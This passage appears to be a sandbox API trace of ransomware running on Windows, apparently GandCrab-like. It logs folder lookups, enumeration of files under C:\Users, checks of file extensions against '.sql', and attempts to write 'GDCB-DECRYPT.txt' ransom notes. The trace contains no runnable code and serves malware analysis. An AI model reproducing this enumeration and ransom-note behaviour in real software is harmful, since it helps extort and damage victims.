SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.363] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.363] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.363] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.363] lstrlenW (lpString="C:\\Users\\") returned 9 [0135.363] lstrcatW (in: lpString1="C:\\Users\\", lpString2="*" | out: lpString1="C:\\Users\\*") returned="C:\\Users\\*" [0135.363] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0x2c79c0 [0135.363] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.363] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.363] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.363] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.363] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.363] lstrcmpW (lpString1="All Users", lpString2=".") returned 1 [0135.363] lstrcmpW (lpString1="All Users", lpString2="..") returned 1 [0135.363] lstrcatW (in: lpString1="C:\\Users\\", lpString2="All Users" | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0135.363] lstrlenW (lpString="C:\\Users\\All Users") returned 18 [0135.363] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.363] lstrcmpW (lpString1="CIiHmnxMn6Ps", lpString2=".") returned 1 [0135.363] lstrcmpW (lpString1="CIiHmnxMn6Ps", lpString2="..") returned 1 [0135.363] lstrcatW (in: lpString1="C:\\Users\\", lpString2="CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0135.363] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps") returned 21 [0135.363] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.363] lstrcmpW (lpString1="Default", lpString2=".") returned 1 [0135.363] lstrcmpW (lpString1="Default", lpString2="..") returned 1 [0135.363] lstrcatW (in: lpString1="C:\\Users\\", lpString2="Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0135.363] lstrlenW (lpString="C:\\Users\\Default") returned 16 [0135.363] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.364] lstrcmpW (lpString1="Default User", lpString2=".") returned 1 [0135.364] lstrcmpW (lpString1="Default User", lpString2="..") returned 1 [0135.364] lstrcatW (in: lpString1="C:\\Users\\", lpString2="Default User" | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0135.364] lstrlenW (lpString="C:\\Users\\Default User") returned 21 [0135.364] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.364] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0135.364] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0135.364] lstrcatW (in: lpString1="C:\\Users\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\desktop.ini") returned="C:\\Users\\desktop.ini" [0135.364] lstrlenW (lpString="C:\\Users\\desktop.ini") returned 20 [0135.364] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0135.364] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.364] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.364] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.364] lstrcatW (in: lpString1="C:\\Users\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\GDCB-DECRYPT.txt") returned="C:\\Users\\GDCB-DECRYPT.txt" [0135.364] lstrlenW (lpString="C:\\Users\\GDCB-DECRYPT.txt") returned 25 [0135.364] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.364] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.364] lstrcmpW (lpString1="Public", lpString2=".") returned 1 [0135.364] lstrcmpW (lpString1="Public", lpString2="..") returned 1 [0135.364] lstrcatW (in: lpString1="C:\\Users\\", lpString2="Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0135.364] lstrlenW (lpString="C:\\Users\\Public") returned 15 [0135.364] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0 [0135.364] FindClose (in: hFindFile=0x2c79c0 | out: hFindFile=0x2c79c0) returned 1 [0135.364] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.364] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\\\GDCB-DECRYPT.txt") returned 26 [0135.364] CreateFileW (lpFileName="C:\\Users\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.364] GetLastError () returned 0x50 [0135.364] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.365] lstrlenW (lpString="C:\\Users\\") returned 9 [0135.365] lstrcatW (in: lpString1="C:\\Users\\", lpString2="*" | out: lpString1="C:\\Users\\*") returned="C:\\Users\\*" [0135.365] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 0x2c7540 [0135.365] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.365] FindNextFileW (in: hFindFile=0x2c7540, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.365] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.365] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.365] FindNextFileW (in: hFindFile=0x2c7540, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.365] lstrcmpW (lpString1="All Users", lpString2=".") returned 1 [0135.365] lstrcmpW (lpString1="All Users", lpString2="..") returned 1 [0135.365] lstrcatW (in: lpString1="C:\\Users\\", lpString2="All Users" | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0135.365] lstrcatW (in: lpString1="C:\\Users\\All Users", lpString2="\\" | out: lpString1="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0135.365] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.365] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.365] FindNextFileW (in: hFindFile=0x2c7540, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.365] lstrcmpW (lpString1="CIiHmnxMn6Ps", lpString2=".") returned 1 [0135.365] lstrcmpW (lpString1="CIiHmnxMn6Ps", lpString2="..") returned 1 [0135.365] lstrcatW (in: lpString1="C:\\Users\\", lpString2="CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0135.365] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0135.365] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.365] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.365] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.366] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.366] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.366] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.366] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\") returned 22 [0135.366] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\*" [0135.366] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7900 [0135.366] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.366] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.366] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.366] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.366] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.366] lstrcmpW (lpString1="AppData", lpString2=".") returned 1 [0135.366] lstrcmpW (lpString1="AppData", lpString2="..") returned 1 [0135.366] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="AppData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData" [0135.366] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned 29 [0135.366] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.366] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0135.366] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0135.366] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Application Data" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data" [0135.366] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned 38 [0135.366] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.366] lstrcmpW (lpString1="Contacts", lpString2=".") returned 1 [0135.366] lstrcmpW (lpString1="Contacts", lpString2="..") returned 1 [0135.366] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Contacts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts" [0135.366] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned 30 [0135.366] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.366] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0135.366] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0135.366] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Cookies" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies" [0135.366] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned 29 [0135.366] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.366] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1 [0135.366] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1 [0135.366] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Desktop" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop" [0135.366] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 29 [0135.366] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.366] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0135.366] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0135.366] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0135.366] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned 31 [0135.366] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.366] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1 [0135.366] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1 [0135.367] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Downloads" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads" [0135.367] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned 31 [0135.367] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.367] lstrcmpW (lpString1="Favorites", lpString2=".") returned 1 [0135.367] lstrcmpW (lpString1="Favorites", lpString2="..") returned 1 [0135.367] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Favorites" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites" [0135.367] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned 31 [0135.367] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.367] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.367] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.367] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\GDCB-DECRYPT.txt" [0135.367] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\GDCB-DECRYPT.txt") returned 38 [0135.367] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.367] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.367] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0135.367] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0135.367] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Links" [0135.367] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Links") returned 27 [0135.367] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.367] lstrcmpW (lpString1="Local Settings", lpString2=".") returned 1 [0135.367] lstrcmpW (lpString1="Local Settings", lpString2="..") returned 1 [0135.367] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Local Settings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" [0135.367] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned 36 [0135.367] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.367] lstrcmpW (lpString1="Music", lpString2=".") returned 1 [0135.367] lstrcmpW (lpString1="Music", lpString2="..") returned 1 [0135.367] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0135.367] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music") returned 27 [0135.367] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.367] lstrcmpW (lpString1="My Documents", lpString2=".") returned 1 [0135.367] lstrcmpW (lpString1="My Documents", lpString2="..") returned 1 [0135.367] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="My Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents" [0135.367] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned 34 [0135.367] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.367] lstrcmpW (lpString1="NetHood", lpString2=".") returned 1 [0135.367] lstrcmpW (lpString1="NetHood", lpString2="..") returned 1 [0135.367] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="NetHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood" [0135.367] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned 29 [0135.367] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.367] lstrcmpW (lpString1="NTUSER.DAT", lpString2=".") returned 1 [0135.367] lstrcmpW (lpString1="NTUSER.DAT", lpString2="..") returned 1 [0135.367] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="NTUSER.DAT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT") returned="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT" [0135.367] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT") returned 32 [0135.367] lstrcmpW (lpString1=".DAT", lpString2=".sql") returned -1 [0135.367] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.367] lstrcmpW (lpString1="ntuser.dat.LOG1", lpString2=".") returned 1 [0135.367] lstrcmpW (lpString1="ntuser.dat.LOG1", lpString2="..") returned 1 [0135.367] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="ntuser.dat.LOG1" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG1") returned="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG1" [0135.367] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG1") returned 37 [0135.367] lstrcmpW (lpString1=".LOG1", lpString2=".sql") returned -1 [0135.367] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.367] lstrcmpW (lpString1="ntuser.dat.LOG2", lpString2=".") returned 1 [0135.367] lstrcmpW (lpString1="ntuser.dat.LOG2", lpString2="..") returned 1 [0135.367] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="ntuser.dat.LOG2" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG2") returned="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG2" [0135.367] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG2") returned 37 [0135.367] lstrcmpW (lpString1=".LOG2", lpString2=".sql") returned -1 [0135.367] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.367] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2=".") returned 1 [0135.367] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="..") returned 1 [0135.368] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf") returned="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf" [0135.368] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf") returned 77 [0135.368] lstrcmpW (lpString1=".blf", lpString2=".sql") returned -1 [0135.368] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.368] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2=".") returned 1 [0135.368] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="..") returned 1 [0135.368] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms" [0135.368] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms") returned 114 [0135.368] lstrcmpW (lpString1=".regtrans-ms", lpString2=".sql") returned -1 [0135.368] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.368] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2=".") returned 1 [0135.368] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="..") returned 1 [0135.368] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms" [0135.368] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms") returned 114 [0135.368] lstrcmpW (lpString1=".regtrans-ms", lpString2=".sql") returned -1 [0135.368] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.368] lstrcmpW (lpString1="ntuser.ini", lpString2=".") returned 1 [0135.368] lstrcmpW (lpString1="ntuser.ini", lpString2="..") returned 1 [0135.368] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="ntuser.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\ntuser.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\ntuser.ini" [0135.368] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\ntuser.ini") returned 32 [0135.368] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0135.368] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.368] lstrcmpW (lpString1="OneDrive", lpString2=".") returned 1 [0135.368] lstrcmpW (lpString1="OneDrive", lpString2="..") returned 1 [0135.368] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="OneDrive" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" [0135.368] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned 30 [0135.368] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.368] lstrcmpW (lpString1="Pictures", lpString2=".") returned 1 [0135.368] lstrcmpW (lpString1="Pictures", lpString2="..") returned 1 [0135.368] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0135.368] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned 30 [0135.368] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.368] lstrcmpW (lpString1="PrintHood", lpString2=".") returned 1 [0135.368] lstrcmpW (lpString1="PrintHood", lpString2="..") returned 1 [0135.368] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="PrintHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" [0135.368] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned 31 [0135.368] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.368] lstrcmpW (lpString1="Recent", lpString2=".") returned 1 [0135.368] lstrcmpW (lpString1="Recent", lpString2="..") returned 1 [0135.368] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent" [0135.368] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned 28 [0135.368] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.368] lstrcmpW (lpString1="Saved Games", lpString2=".") returned 1 [0135.368] lstrcmpW (lpString1="Saved Games", lpString2="..") returned 1 [0135.368] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Saved Games" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" [0135.368] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned 33 [0135.368] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.368] lstrcmpW (lpString1="Searches", lpString2=".") returned 1 [0135.368] lstrcmpW (lpString1="Searches", lpString2="..") returned 1 [0135.368] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Searches" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches" [0135.368] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned 30 [0135.368] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.368] lstrcmpW (lpString1="SendTo", lpString2=".") returned 1 [0135.368] lstrcmpW (lpString1="SendTo", lpString2="..") returned 1 [0135.368] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="SendTo" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\SendTo") 